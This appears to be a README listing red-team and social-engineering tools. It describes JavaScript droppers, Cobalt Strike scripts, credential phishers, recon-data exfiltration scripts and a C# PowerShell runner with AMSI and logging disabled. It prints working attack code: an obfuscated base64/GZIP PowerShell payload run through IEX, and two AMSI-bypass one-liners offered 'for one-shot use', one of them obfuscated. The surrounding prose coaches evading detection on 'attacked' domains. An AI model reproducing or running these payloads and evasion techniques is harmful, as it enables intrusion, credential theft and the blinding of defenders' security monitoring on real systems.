Red Teaming and Social-Engineering related scripts, tools and CheatSheets

• backdoor-drop.js - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. (gist)

• Bypass-ConstrainedLanguageMode - Tries to bypass AppLocker Constrained Language Mode via custom COM object (as documented by @xpn in: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/ ) The way it does so is by registering a custom COM object (InProcServer32 DLL) that will act as a native .NET CLR4 host. This host is then going to load up a managed assembly within it's current AppDomain. That assembly finally will switch SessionData.LanguageMode variable determining whether Constrained Language Mode shall be used within current Runspace. More details in the tool directory itself.

• clickOnceSharpPickTemplate.cs - This is a template for C# Console Project containing SharpPick technique of loading Powershell code from within C# application. The ClickOnce concept is to generate a windows self-updating Application that is specially privileged (ClickOnce)

• cobalt-arsenal - A set of my published Cobalt Strike 4.0+ compatible aggressor scripts. That includes couple of my handy utils I've used on various engagements.

• compressedPowershell.py - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX) . (gist)

  Example:

$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

• Count-PrivilegedGroupMembers.ps1 - Counts number of members in predefined (or augumented from an input file) list of privileged, sensitive groups in Active Directory. Purely for statistics and overview purposes.

• delete-warning-div-macro.vbs - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. (gist)

• Disable-Amsi.ps1 - Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords.

Using a hash-lookup approach when determining prohibited symbol names, we are able to avoid relying on blacklisted values and having them hardcoded within the script. This implementation iterates over all of the assemblies, their exposed types, methods and fields in order to find those that are required but by their computed hash-value rather than direct name. Since hash-value computation algorithm was open-sources and is simple to manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes.

• OH, by the way - you can grab my custom AMSI evasion oneliners below - perfect for a one-shot use cases:

  • Technique 1A: Overwrite AmsiUtils.amsiContext's object (_HAMSICONTEXT.Signature) byte. Length: 146 bytes.

  [Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5)
  

  • Technique 1B: Same as 1A, but obfuscated variant. (256 bytes)

  $h=[TyPE]('{5}{2}{4}{0}{3}{1}'-f'er','L','Un','viCes.maRShA','TIME.INTErOPS','r');Sv('W'+'e') ([tYpe]('{1}{0}'-f'EF','r'));(gET-vAriABLE h).vAlue::WriteByte((($wE.Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5)
  

• Disable-ScriptLogging.ps1 - Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords.

Warning: This scriptlet should be launched first, before Disable-Amsi.ps1 for better OpSec experience.

• Export-ReconData.ps1 - Powershell script leveraging PowerSploit Recon module (PowerView) to save output from Reconnaissance cmdlets like Get-*, Find-* into Clixml files. Those files (stored in an output directory as separate XML files) can later be extracted from attacked environment and loaded to a new powershell runspace using the same script. Very useful when we want to obtain as many data as possible, then exfiltrate that data, review it in our safe place and then get back to attacked domain for lateral spread. Warning: Be careful though, as this script launches many reconnaissance commands one by one, this WILL generate a lot of noise. Microsoft ATA for instance for sure pick you up with "Reconnaissance using SMB session enumeration" after you've launched Invoke-UserHunter.

  WARNING: This script is compatible with newer version of PowerView (coming from dev branch as of 2018), that exposed various Get-Domain*, Find-* cmdlets. In order to save recon's data from the older PowerView, refer to my Save-ReconData.ps1 script in this directory.

  Exposed functions:

  • Export-ReconData - Launches many cmdlets and exports their Clixml outputs.
  • Import-ReconData -DirName <DIR> - Loads Clixml previously exported outputs and stores them in Global variables reachable when script terminates.
  • Get-ReconData -DirName <DIR> - Gets names of variables that were created and contains previously imported data.

• Get-DomainOUTree.ps1 - Collects OU lines returned from PowerView's Get-NetOU/Get-DomainOU cmdlet, and then prints that structure as a Organizational Units tree.

This scriptlet works with both older version of PowerView that got implemented Get-NetOU cmdlet, by passing its output via pipeline to Get-NetOUTree:

PS E:\PowerSploit\Recon> Get-NetOU | Get-NetOUTree

Combines advantages of classic evasion techniques such as Apache2 Mod_Rewrite/.htaccess and deep c2-profile-drive HTTP/HTTPS request inspection

• markOwnedNodesInNeo4j.py - This script takes an input file containing Node names to be marked in Neo4j database as owned = True. The strategy for working with neo4j and Bloodhound becomes fruitful during complex Active Directory Security Review assessments or Red Teams. Imagine you've kerberoasted a number of accounts, access set of workstations or even cracked userPassword hashes. Using this script you can quickly instruct Neo4j to mark that principals as owned, which will enrich your future use of BloodHound.

• Phish-Creds.ps1 - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. (gist)

  One can additionally add, right after Get-Credential following parameters that could improve pretext's quality during social engineering attempt:

  • -Credential domain\username - when we know our victim's domain and/or username - we can supply this info to the dialog
  • -Message "Some luring sentence" - to include some luring message

• PhishingPost - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML

  action parameter.

• RobustPentestMacro - This is a rich-featured Visual Basic macro code for use during Penetration Testing assignments, implementing various advanced post-exploitation techniques.

• Save-ReconData.ps1 - Powershell script leveraging PowerSploit Recon module (PowerView) to save output from Reconnaissance cmdlets like Get-*, Find-* into Clixml files. It differs from Export-ReconData.ps1 in that it supports only older PowerView version from before 12 dec 2016. Exposed functions:

  • Save-ReconData - Launches many cmdlets and exports their Clixml outputs.
  • Load-ReconData -DirName <DIR> - Loads Clixml previously exported outputs and stores them in Global variables reachable when script terminates.
  • Get-ReconData -DirName <DIR> - Gets names of variables that were created and contains previously imported data.

• set-handler.rc - Quickly set metasploit's multi-handler + web_delivery (separated) handler for use with powershell. (gist)

• Stracciatella - Powershell runspace from within C# (aka SharpPick technique) with AMSI and Script Block Logging disabled for your pleasure.

  • This program provides functionality to decode passed parameters on the fly, using Base64 and Xor single-byte decode (also combined)
  • Before launching any command, it makes sure to disable AMSI using two approaches
  • Before launching any command, it makes sure to disable Script Block logging using two approaches
  • This program does not patch any system library, system native code (think amsi.dll)
  • Efforts were made to not store decoded script/commands excessively long, in order to protect itself from memory-dumping techniques governed by EDRs and AVs
  • The resulting binary may be considered bit too large, that's because Costura.Fody NuGet package is used which bundles System.Management.Automation.dll within resulting assembly
